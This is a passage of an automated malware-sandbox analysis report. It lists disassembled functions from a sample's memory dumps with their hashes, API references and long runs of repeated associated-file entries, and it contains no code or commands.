Function 05380CC4 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29b7b59d4cac8a79a9987159c32c7af15dfda6c90a681ad949dde2596ea60616
Instruction ID: afa35ffce6ad8a8e4b1fc0d0b7dd714c7705d6dc3ce7c97857b3665200e64ac6
Opcode Fuzzy Hash: 29b7b59d4cac8a79a9987159c32c7af15dfda6c90a681ad949dde2596ea60616
Instruction Fuzzy Hash: 9DF015AF14C224BD604DF1953B29EFBABAEE5C2B30330C82BF403C480293894A8D5172

Function 05380CEB Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e00d6c70a909b9da3312bb50fd4c116710a5a6daf21f1c53fd6d5f55062ad1c5
Instruction ID: 1708a14d0a8aaf5ebe52671fbced4f4f590f3ec8f8ae0ed189f6b85733e6374c
Opcode Fuzzy Hash: e00d6c70a909b9da3312bb50fd4c116710a5a6daf21f1c53fd6d5f55062ad1c5
Instruction Fuzzy Hash: C1F0A9FF04D260BE7119E2A12E28EFBAB6EE5C2730331892FF483C1403D6981A0D5271

Function 05380CD2 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7827354ff42b4b2994273d4e3bb4ae01c86957cd355a6baba30f10754fc60a7f
Instruction ID: c42741a5b2793c5dad175793e1058cdab0baf6e8b55ef11898a3b0daa99f7c89
Opcode Fuzzy Hash: 7827354ff42b4b2994273d4e3bb4ae01c86957cd355a6baba30f10754fc60a7f
Instruction Fuzzy Hash: 84F08CAF00C220BD700DE6952B28AFBA7AEE5D17303308827F403C4802D389064D4671

Function 05380D09 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a4eba4d9139e1492e99a34e7bddedb10ca8c3af95ca36b1b6d2f6a444052302
Instruction ID: 8ed573b53128a290648cfe607c3be637fb815fbf52407e0cd4fc5e25ecbe3bd2
Opcode Fuzzy Hash: 1a4eba4d9139e1492e99a34e7bddedb10ca8c3af95ca36b1b6d2f6a444052302
Instruction Fuzzy Hash: 67E01AFB10C6547E7154E1922B5CAFBA7AED5C0730330882BF842C1802D2491A0D9130

Non-executed Functions

Function 00AD31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00AD3323

Strings

1#INF, xrefs: 00AD44DE
1#IND, xrefs: 00AD44B3
1#QNAN, xrefs: 00AD44C1
1#SNAN, xrefs: 00AD44BA

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 85687c1704f39655957f5d66f9433bbe83c614668a3d48703e4b31328be321aa
Instruction ID: 37861e70d640c1a39104ec89b8863d7e52e64dd65cb055e8389c039fdd03780d
Opcode Fuzzy Hash: 85687c1704f39655957f5d66f9433bbe83c614668a3d48703e4b31328be321aa
Instruction Fuzzy Hash: 4AC20772E046288BDF25CF28DD407EAB7B5EB48345F1441EAD84EA7340E779AE858F41

Function 00A9E0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 00A9E10B
recv.WS2_32(?,?,00000008,00000000), ref: 00A9E140

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 1230ea61cf3e93de99f9b4976fb3b0cf320e8c575f9451d84aaa712a0bd69a9f
Instruction ID: 8812acd4292b48b1e2e74fc7f465db837b5ef9c5a2f8ed804c2885c8d6bc336a
Opcode Fuzzy Hash: 1230ea61cf3e93de99f9b4976fb3b0cf320e8c575f9451d84aaa712a0bd69a9f
Instruction Fuzzy Hash: C431A771A002489BDB20DBE8DC85BFB77F8EB09734F140625E515EB2D2DB75A845CBA0

Function 00AD2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 7f47fd1d63d86c59acdeb28cb291f7049072b03cf52a18be6bc4fe7411d65721
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 34F12F72E012199FDF14CFA9C9807ADBBB1FF58314F15826AE916AB344D731AE41CB90

Function 00AACBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00AACF52,?,00000003,00000003,?,00AACF87,?,?,?,00000003,00000003,?,00AAC4FD,00A92FB9,00000001), ref: 00AACC03

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: b1a68ae28df5b474223a273d2710f5679368dcf68c3402f38f9919b2201a10d9
Instruction ID: 191faec6522412ba4a4103e482d01f1c4f21410a12c72d71b19dcf3ff84e949e
Opcode Fuzzy Hash: b1a68ae28df5b474223a273d2710f5679368dcf68c3402f38f9919b2201a10d9
Instruction Fuzzy Hash: 33D02232A02038A3CA453FD4EC088ACBBD88E02B303020011EB0C1B120CB906C418BD0

Function 00AC7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00AC80B2

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
